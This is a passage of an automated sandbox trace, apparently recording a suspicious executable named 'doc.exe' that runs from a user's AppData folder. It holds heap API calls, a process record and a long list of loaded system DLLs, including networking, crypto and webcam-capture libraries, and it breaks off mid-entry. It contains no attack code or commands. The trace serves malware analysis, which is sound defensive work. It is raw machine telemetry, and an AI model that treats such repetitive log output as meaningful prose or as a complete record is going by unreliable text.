dwFlags=0x0, lpMem=0x505d28 | out: hHeap=0x4f0000) returned 1 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5051b0) returned 1 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5051b0) returned 0x10 [0289.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5051b0 | out: hHeap=0x4f0000) returned 1 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505610) returned 1 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505610) returned 0x14 [0289.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505610 | out: hHeap=0x4f0000) returned 1 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505630) returned 1 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505630) returned 0x14 [0289.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505630 | out: hHeap=0x4f0000) returned 1 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505650) returned 1 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505650) returned 0x14 [0289.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505650 | out: hHeap=0x4f0000) returned 1 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505670) returned 1 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505670) returned 0x14 [0289.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505670 | out: hHeap=0x4f0000) returned 1 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5051c8) returned 1 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5051c8) returned 0x10 [0289.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5051c8 | out: hHeap=0x4f0000) returned 1 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505690) returned 1 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505690) returned 0x14 [0289.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505690 | out: hHeap=0x4f0000) returned 1 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505708) returned 1 [0289.939] GetProcessHeap () returned 0x4f0000 [0289.939] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505708) returned 0x14 [0289.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505708 | out: hHeap=0x4f0000) returned 1 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505788) returned 1 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505788) returned 0x14 [0289.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505788 | out: hHeap=0x4f0000) returned 1 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5057a8) returned 1 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5057a8) returned 0x14 [0289.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5057a8 | out: hHeap=0x4f0000) returned 1 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505848) returned 1 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505848) returned 0x14 [0289.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505848 | out: hHeap=0x4f0000) returned 1 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5051e0) returned 1 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5051e0) returned 0x10 [0289.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5051e0 | out: hHeap=0x4f0000) returned 1 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.940] GetProcessHeap () returned 0x4f0000 [0289.941] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505728) returned 1 [0289.941] GetProcessHeap () returned 0x4f0000 [0289.941] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505728) returned 0x14 [0289.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505728 | out: hHeap=0x4f0000) returned 1 [0289.941] GetProcessHeap () returned 0x4f0000 [0289.941] GetProcessHeap () returned 0x4f0000 [0289.941] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505198) returned 1 [0289.941] GetProcessHeap () returned 0x4f0000 [0289.941] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505198) returned 0x10 [0289.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505198 | out: hHeap=0x4f0000) returned 1 [0289.941] exit (_Code=0) Thread: id = 262 os_tid = 0x79c Process: id = "13" image_name = "doc.exe" filename = "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe" page_root = "0x1f77e000" os_pid = "0xf30" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xc7c" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe\"" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3418 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3419 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3420 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3421 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3422 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3423 start_va = 0xe0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3424 start_va = 0x190000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3425 start_va = 0x1360000 end_va = 0x1401fff monitored = 1 entry_point = 0x13d26f2 region_type = mapped_file name = "doc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe") Region: id = 3426 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3427 start_va = 0x778c0000 end_va = 0x77a3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3428 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3429 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3430 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3431 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3432 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3433 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3434 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3435 start_va = 0x400000 end_va = 0x553fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3489 start_va = 0x680000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 3490 start_va = 0x74b70000 end_va = 0x74b77fff monitored = 0 entry_point = 0x74b720f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3491 start_va = 0x74b80000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74bbf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3492 start_va = 0x74be0000 end_va = 0x74c1efff monitored = 0 entry_point = 0x74c0e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3493 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3494 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3495 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3496 start_va = 0x774c0000 end_va = 0x775defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000774c0000" filename = "" Region: id = 3497 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3498 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000775e0000" filename = "" Region: id = 3499 start_va = 0x700000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3500 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3501 start_va = 0x773e0000 end_va = 0x77426fff monitored = 0 entry_point = 0x773e74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3502 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3503 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3504 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3505 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3506 start_va = 0x65f20000 end_va = 0x65f36fff monitored = 0 entry_point = 0x65f235fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 3507 start_va = 0x766d0000 end_va = 0x767cffff monitored = 0 entry_point = 0x766eb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3508 start_va = 0x76270000 end_va = 0x762fffff monitored = 0 entry_point = 0x76286343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3509 start_va = 0x77890000 end_va = 0x77899fff monitored = 0 entry_point = 0x778936a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3510 start_va = 0x76300000 end_va = 0x7639cfff monitored = 0 entry_point = 0x76333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3511 start_va = 0x76b90000 end_va = 0x76c3bfff monitored = 0 entry_point = 0x76b9a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3512 start_va = 0x77180000 end_va = 0x7721ffff monitored = 0 entry_point = 0x771949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3513 start_va = 0x77490000 end_va = 0x774a8fff monitored = 0 entry_point = 0x77494975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3514 start_va = 0x769e0000 end_va = 0x76acffff monitored = 0 entry_point = 0x769f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3515 start_va = 0x75410000 end_va = 0x7546ffff monitored = 0 entry_point = 0x7542a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3516 start_va = 0x75400000 end_va = 0x7540bfff monitored = 0 entry_point = 0x754010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3517 start_va = 0x755b0000 end_va = 0x761f9fff monitored = 0 entry_point = 0x75631601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3518 start_va = 0x76850000 end_va = 0x768a6fff monitored = 0 entry_point = 0x76869ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3519 start_va = 0x75470000 end_va = 0x755a5fff monitored = 0 entry_point = 0x75471b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 3520 start_va = 0x765c0000 end_va = 0x766b4fff monitored = 0 entry_point = 0x765c1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 3521 start_va = 0x76e50000 end_va = 0x7704afff monitored = 0 entry_point = 0x76e522d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 3522 start_va = 0x763d0000 end_va = 0x7652bfff monitored = 0 entry_point = 0x7641ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3523 start_va = 0x76ad0000 end_va = 0x76b5efff monitored = 0 entry_point = 0x76ad3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3524 start_va = 0x768b0000 end_va = 0x769d0fff monitored = 0 entry_point = 0x768b158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 3525 start_va = 0x766c0000 end_va = 0x766cbfff monitored = 0 entry_point = 0x766c238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 3526 start_va = 0x76200000 end_va = 0x76234fff monitored = 0 entry_point = 0x7620145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3527 start_va = 0x774b0000 end_va = 0x774b5fff monitored = 0 entry_point = 0x774b1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3531 start_va = 0x752b0000 end_va = 0x752c0fff monitored = 0 entry_point = 0x752b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3547 start_va = 0x752e0000 end_va = 0x752e8fff monitored = 0 entry_point = 0x752e15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3548 start_va = 0x75290000 end_va = 0x752a8fff monitored = 0 entry_point = 0x75291319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3549 start_va = 0x75280000 end_va = 0x7528efff monitored = 0 entry_point = 0x752812a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3552 start_va = 0x74cb0000 end_va = 0x74cbefff monitored = 0 entry_point = 0x74cb125e region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 3553 start_va = 0x76ca0000 end_va = 0x76ca4fff monitored = 0 entry_point = 0x76ca1438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 3554 start_va = 0x120000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3555 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3556 start_va = 0x920000 end_va = 0xaa7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000920000" filename = "" Region: id = 3585 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3586 start_va = 0x77430000 end_va = 0x7748ffff monitored = 0 entry_point = 0x7744158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3587 start_va = 0x77050000 end_va = 0x7711bfff monitored = 0 entry_point = 0x7705168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3588 start_va = 0xab0000 end_va = 0xc30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3589 start_va = 0x1410000 end_va = 0x280ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001410000" filename = "" Region: id = 3623 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3624 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3628 start_va = 0x73d60000 end_va = 0x73ddffff monitored = 0 entry_point = 0x73d737c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3629 start_va = 0xc40000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 3669 start_va = 0x290000 end_va = 0x36efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 3670 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 3671 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3672 start_va = 0x76530000 end_va = 0x765b2fff monitored = 0 entry_point = 0x765323d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3673 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 3674 start_va = 0x74c90000 end_va = 0x74ca3fff monitored = 0 entry_point = 0x74c9ce73 region_type = mapped_file name = "devenum.dll" filename = "\\Windows\\SysWOW64\\devenum.dll" (normalized: "c:\\windows\\syswow64\\devenum.dll") Region: id = 3716 start_va = 0x74c40000 end_va = 0x74c71fff monitored = 0 entry_point = 0x74c437f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 3724 start_va = 0x76cb0000 end_va = 0x76e4cfff monitored = 0 entry_point = 0x76cb17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 3725 start_va = 0x76240000 end_va = 0x76266fff monitored = 0 entry_point = 0x762458b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 3726 start_va = 0x773c0000 end_va = 0x773d1fff monitored = 0 entry_point = 0x773c1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 3727 start_va = 0x140000 end_va = 0x14cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 3728 start_va = 0x73eb0000 end_va = 0x73ed0fff monitored = 0 entry_point = 0x73eb145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 3729 start_va = 0x77130000 end_va = 0x77174fff monitored = 0 entry_point = 0x771311e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 3735 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 3739 start_va = 0xe10000 end_va = 0x10defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3740 start_va = 0x763a0000 end_va = 0x763cefff monitored = 0 entry_point = 0x763a2a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 3741 start_va = 0x752d0000 end_va = 0x752dafff monitored = 0 entry_point = 0x752d39ab region_type = mapped_file name = "msdmo.dll" filename = "\\Windows\\SysWOW64\\msdmo.dll" (normalized: "c:\\windows\\syswow64\\msdmo.dll") Region: id = 3761 start_va = 0x74c20000 end_va = 0x74c32fff monitored = 0 entry_point = 0x74c2dcd8 region_type = mapped_file name = "avicap32.dll" filename = "\\Windows\\SysWOW64\\avicap32.dll" (normalized: "c:\\windows\\syswow64\\avicap32.dll") Region: id = 3771 start_va = 0x73e30000 end_va = 0x73e38fff monitored = 0 entry_point = 0x73e31220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3772 start_va = 0x72b40000 end_va = 0x72b60fff monitored = 0 entry_point = 0x72b52e54 region_type = mapped_file name = "msvfw32.dll" filename = "\\Windows\\SysWOW64\\msvfw32.dll" (normalized: "c:\\windows\\syswow64\\msvfw32.dll") Region: id = 3773 start_va = 0x63bc0000 end_va = 0x63c43fff monitored = 0 entry_point = 0x63bc19a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3774 start_va = 0x700000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3775 start_va = 0x820000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 3776 start_va = 0x150000 end_va = 0x151fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msvfw32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\msvfw32.dll.mui" (normalized: 